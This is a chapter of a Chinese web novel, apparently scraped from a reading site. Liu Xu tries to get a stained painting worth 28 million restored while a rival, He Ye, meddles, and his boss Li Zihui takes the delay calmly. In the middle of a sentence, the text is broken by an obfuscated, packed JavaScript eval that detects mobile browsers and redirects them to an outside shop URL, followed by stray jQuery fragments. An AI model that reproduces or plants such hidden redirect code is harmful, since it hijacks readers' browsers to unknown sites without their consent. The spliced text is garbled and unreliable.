此时刘煦那边进展也不算顺利。
他正在古画修复工作室,而他此时眼前站着的不是别人,正是昨天在他手下吃瘪的贺冶。
贺冶看着被他成功堵到的刘煦,一脸扬扬得意。
他昨晚回去复盘了一下,越想越不对劲。
厉子晖既然知道画中有瑕疵却执意买下,就必然是找到了修复的办法。
而他对古画修复一窍不通,若是要修复,自然要借助外力。
于是贺冶昨晚找遍了当地大小的古画修复工作室,仔细对比,最终选定了这处蹲守。
这处的修复师是全城最专业的,若是厉子晖要来肯定要选择这处。
他从今早这店一开就在这处等候,等了半天没等到老板,却把厉子晖的人等来了。
“你怎么这么晚才来,我都等你一早晨了。”贺冶凑到刘煦面前,上下打量着,“怎么,今天不穿一身黑了?”
作孽啊。
昨天刚跟厉总戏弄了人家一顿,怎么这么巧又在这碰上了?
刘煦咬着牙抬起头,冲他尴尬一笑:“哦,那身我给洗了。”
“厉子晖今天没跟着?”他冲着刘煦身后看去,又落回到他身上,“今天我就把话撂在这,有我在你就别想修复这幅画!”
“什么玩意?”门口突然冒出一群多巴胺配色的人扒在门口凑着脑袋往里看,“煦哥,发生什么了?”
“快快快,把他从这里弄走。”刘煦看到门外人,仿佛遇到了救星。
他怎么差点忘了,他还有一群同事呢。
听闻此话,门外的人一股脑挤进了屋子里,把屋里塞的满满当当,贺冶也被一群多巴胺围在了中间。
“干嘛,你们还要群殴不成?”贺冶看着自己被这群人包围,一脸警惕的抱紧弱小可怜又无助的自己。
明明刚才还只有一人,怎么这一眨眼整个屋都被塞满了?
这群人到底都是从哪里来的?!
“哪能啊,文明社会,文明社会。”为首的小王邪魅一笑,安抚着开口。
贺冶心下稍安。
结果下一秒,众人便围成一圈将他请了出去。
“喂!喂!有你们这样的吗?!”他看着堵在门口的人墙咬牙切齿。
果然是厉子晖的员工,下手都如此野蛮。
他冲上前试图将他们扒拉开,但他们形成的人墙太过坚固,他根本冲不破他们的防御。
“您还是省省力气吧,”小王在后面实在看不下去了,顺手向门口旁边的座位一指,“实在不行您去那边坐会儿?”
贺冶下意识向那边看了过去,只见那小板凳孤零零的立在门外,好不可怜。
“你让我坐那?”贺冶不可置信的开口。
“要不呢?你想坐我腿上?”小王下意识反问。
有凳子不坐,他就没见过这么矫情的人。
“我不坐。”贺冶被小王的话一噎,有些嫌弃的将视线落在那小板凳上,很快就别开了眼,“我就在这等着,看你们能弄出什么名堂。”
“随你便,”小王从那人墙中钻了出去,拿着板凳又钻了进来,“你不坐我坐。”
“你!”贺冶气的不行,恶狠狠跺脚。
果然是厉子晖的员工,也这么讨人厌!
而此时屋内,修复师从后屋里走出来。
刘煦的目光落在他身上,这修复师居然意外的年轻。
这么年轻技术能行么?
他不由得多留意了几眼。
“您带画来了吗?”修复师感受到了对方的视线,率先询问。
刘煦回过神,走上前将画拿出摊在桌面上,急急开口。
“师傅,麻烦您看看这幅画还能修复到原有的样子么?”
修复师的目光落在画的中央,上面的油迹红的触目惊心。
“这……这不是《雪景寒林图》么?”他瞳孔一缩,拿着放大镜三步并作两步冲到画前,“怎么给弄成这样!”
“您也知道这幅画?”刘煦有些意外。
厉总昨天才买下这画,这修复师怎么这么快就知道了?
“这可是名画!”那修复师大声反驳道,眼中闪过一丝微恸,“而且昨……作品之前不是还好好的么?”
“这画原来很有名么?”刘煦心头的愧疚又平添了几分。
怪不得这画那么贵。
他把昨天的一五一十的大致讲给了修复师。
“所以你把2800万的画和晚饭放一起了?”修复师用一种看怪物的眼神看向他。
这种毁画方式就算是仇人都想不出啊。
“师傅你还是先看看这画能不能修吧。”刘煦有些尴尬的转开话题,将那画往他身侧推了推。
那修复师再次拿起放大镜仔细看过去,片刻后摇了摇头,“按现在的污损情况来看,这画这个月恐怕是修不好了。”
“一点机会都没有么?”刘煦有些急切的追问。
这要是修复不好,那昨天所有的努力便都白费了。
“我尽力吧。”修复师叹了口气,掏出手机,“加个联系方式,等画修好了我联系你。”
“麻烦了。”刘煦将画留下,一脸丧气的向屋外走去。
门口的人闻声,纷纷围过来。
“怎么样煦哥?”小王从板凳上站起,“这画修好了么?”
刘煦冲他沉沉摇了摇头,“短时间内恐怕修不好了。”
“那厉总那边……”小王话说了一半,突然止住了话头。
所有人一时间都陷入了沉默。
是啊,这画要是修复不好,那厉总那边恐怕没法交代。
“呦,果然是风水轮流转啊。”一道讥讽的声音从众人身后传来。
是贺冶。
他刚才已经听到了交谈的全部,自然已经知道这画在唐老爷子寿宴前是修不好了。
“你们说,厉子晖搞那么多乱七八糟的有什么用?最终这画不还是拿不出手?”他凑上去,戳戳这个点点那个。
“闭嘴!”众人同时转头怒目而视。
“好嘞。”
贺冶瞬间闭嘴,悻悻的收回手。
绝不是他怂了,只是他不愿意争这一时之长短。
左右厉子晖拿不出画来交差,他的目的依旧是达到了。
他脚下向后一扭,差点打了个趔趄。
可恶,站了太久腿麻了。
贺冶扶着墙歇了片刻,一瘸一拐的继续往回走。
而一众人在工作室门口商议了半天,怎么也讨论不出什么结果。
而厉子晖和白芷此时已经往这边寻来。
“煦哥!”白芷看见他们的身影,远远的向他们招手。
厉子晖跟在她身后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763587|208769||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
神色不明。
“厉……厉总!”刘煦一眼便看见了白芷身后的人,声音莫名有些结巴。
“嗯,”厉子晖闻声,抬了抬眼皮,“那画怎么样?”
完蛋了。
刘煦忍不住开始汗流浃背。
这要是如实说他不会被厉总的目光凌迟处死吧?!
他似乎已经看到他的小钱钱从钱包里慢悠悠飞走的模样了。
见厉子晖还在等着他回复,刘煦只得鼓起勇气开口,“厉总,那画……这个月恐怕修不好了。”
“哦。”厉子晖挑了挑眉,不置可否。
他早就猜到了,那么一大片污渍,短时间自然不可能修好。
刘煦却因为厉子晖的反应而微微发愣。
他没听错吧。
他刚才听到的是哦。
不是哦?
也不是哦~
厉总之前说过这画有多么重要,他的反应不该这么平淡啊。
“厉总,我是说那画暂时修不好了。”刘煦小心翼翼的看着厉子晖的脸色。
“我听到了,”厉子晖有些莫名的点了点头,“这种话不用重复第二次。”
“那厉总你居然不生气?”刘煦不可置信的试探,“那画2800万诶。”
他手上比划着,试图唤醒厉子晖的理智。
平时厉总那么抠门一个人,这么多钱也不在乎了?
那若是这样他的工资还扣不扣了?
“嗯哼,”厉子晖像是猜到了刘煦心里在想些什么,心情颇好的补充,“对了,你的工资正常发,加班费周一记得回去找财务要。”
“真的?!”刘煦激动的抬头,眼睛里仿佛闪起了颗颗明星。
“还有你们也记得去。”他的视线扫过刘煦身后的一众人。
“谢谢厉总!”众人惊喜的互相对视,神色激动。
“哎呦厉总,你这太客气了,我们就是来陪煦哥,我们本来也要来这……”小王挠着脑袋憨厚的笑着。
他旁边的人赶紧戳了他一下,小王赶紧止住了话头。
“那也辛苦了,无论如何,大周末的还麻烦你们都来跑一趟。”厉子晖的视线落在他身上,眼眸带笑。
这么快就找到可替代的画,也有他们的功劳。
季婳在画中左看右看,心里忍不住啧啧两声。
果然还得是书里好啊,这都能有加班费拿。
“喂,厉子晖,我的加班费呢?”在众人没注意到的角落,季婳细微的声音从画中传来。
要论功劳,这加班费也该她最多才对啊。
“你先从画里出来再说吧。”厉子晖嘴角的弧度丝毫未变。
切,小气鬼。
季婳白了他一眼,顺道瞟了一眼他头顶上的数值。
依旧纹丝不动。
她忍不住咬了咬牙。
这家伙是真的油盐不进啊。
她甚至开始怀疑她是不是用错方式了,才让他如此不为所动。
就按这速度,她什么时候才能回家啊。
她被气得头疼脑热,扶着她镶满宝石的别墅大门慢慢蹲下。
她看着亮晶晶的宝石,心情莫名愉悦了不少。
她的手忍不住抚上比她手还大的整颗宝石上,眼中反射着金钱闪烁的光芒。
算了,天塌下来有她的大别墅顶着。